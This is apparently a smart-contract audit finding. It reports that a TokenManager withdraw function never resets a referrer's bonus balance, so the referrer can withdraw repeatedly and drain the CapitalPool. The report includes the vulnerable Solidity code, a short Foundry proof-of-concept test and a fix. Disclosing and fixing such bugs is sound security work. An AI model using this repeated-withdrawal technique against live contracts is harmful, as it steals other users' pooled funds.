Summary
Referrers who call the withdraw function on TokenManager to get their referral bonus can steal all tokens in the CapitalPool due to missing balance update of the withdrawn amount.
Vulnerability Details
When takers create a stockInfo via PreMarkets::createTaker, they receive a referral bonus:
function _updateReferralBonus(
uint256 platformFee,
uint256 depositAmount,
address stockAddr,
MakerInfo storage makerInfo,
ReferralInfo memory referralInfo,
ITokenManager tokenManager
) internal returns (uint256 remainingPlatformFee) {
if (referralInfo.referrer == address(0x0)) {
remainingPlatformFee = platformFee;
} else {
* @dev calculate referrer referral bonus and authority referral bonus
* @dev calculate remaining platform fee
* @dev remaining platform fee = platform fee - referrer referral bonus - authority referral bonus
* @dev referrer referral bonus = platform fee * referrer rate
* @dev authority referral bonus = platform fee * authority rate
* @dev emit ReferralBonus
*/
uint256 referrerReferralBonus = platformFee.mulDiv(
referralInfo.referrerRate,
Constants.REFERRAL_RATE_DECIMAL_SCALER,
Math.Rounding.Floor
);
* @dev update referrer referral bonus
* @dev update authority referral bonus
*/
tokenManager.addTokenBalance(
TokenBalanceType.ReferralBonus,
referralInfo.referrer,
makerInfo.tokenAddress,
referrerReferralBonus
);
uint256 authorityReferralBonus = platformFee.mulDiv(
referralInfo.authorityRate,
Constants.REFERRAL_RATE_DECIMAL_SCALER,
Math.Rounding.Floor
);
tokenManager.addTokenBalance(
TokenBalanceType.ReferralBonus,
_msgSender(),
makerInfo.tokenAddress,
authorityReferralBonus
);
remainingPlatformFee =
platformFee -
referrerReferralBonus -
authorityReferralBonus;
emit ReferralBonus(
stockAddr,
_msgSender(),
referralInfo.referrer,
authorityReferralBonus,
referrerReferralBonus,
depositAmount,
platformFee
);
}
}
This bonus counts towards their balance and can be withdrawn via TokenManager::withdraw
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
The vulnerability arises from the fact that the withdraw function does not subtract the withdrawn amount after the withdrawal allowing the referrer to withdraw as many times. This vulnerabity can be used to drain the Capital pool contract of all user tokens.
For a POC, follow these steps:
Setup a user with ReferralExtraRateMap and ReferrerInfo. This will allow the user to earn referral bonuses.
Create an offer via PreMarkets::createOffer.
Have the user create a taker via createTaker.
Confirm the user now has referral bonus.
Have the use withdraw his bonus.
Confirm that his bonus balance has not changed.
You can use this test to prove the vulnerability:
function test_taker_withdraw() public {
vm.startPrank(user1);
systemConfig.updateReferralExtraRateMap(user2,10_000);
systemConfig.updateReferralExtraRateMap(user3,10_000);
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
systemConfig.updateReferrerInfo(user2,305_000,5_000);
systemConfig.updateReferrerInfo(user3,305_000,5_000);
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
vm.prank(user2);
preMarktes.createTaker(offerAddr, 500);
vm.startPrank(user3);
preMarktes.createTaker(offerAddr, 50);
uint256 claimAbleAmount1 = tokenManager.userTokenBalanceMap(user3,address(mockUSDCToken), TokenBalanceType.ReferralBonus);
capitalPool.approve(address(mockUSDCToken));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.ReferralBonus);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.ReferralBonus);
uint256 claimAbleAmount2 = tokenManager.userTokenBalanceMap(user3,address(mockUSDCToken), TokenBalanceType.ReferralBonus);
assertEq(claimAbleAmount1,claimAbleAmount2);
}
Impact
Referrers can drain the capital pool of all tokens
Tools Used
Manual review
Recommendations
Update the user balance after the withdrawal immediately after calculating the balance to prevent re-entrancy attack:
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;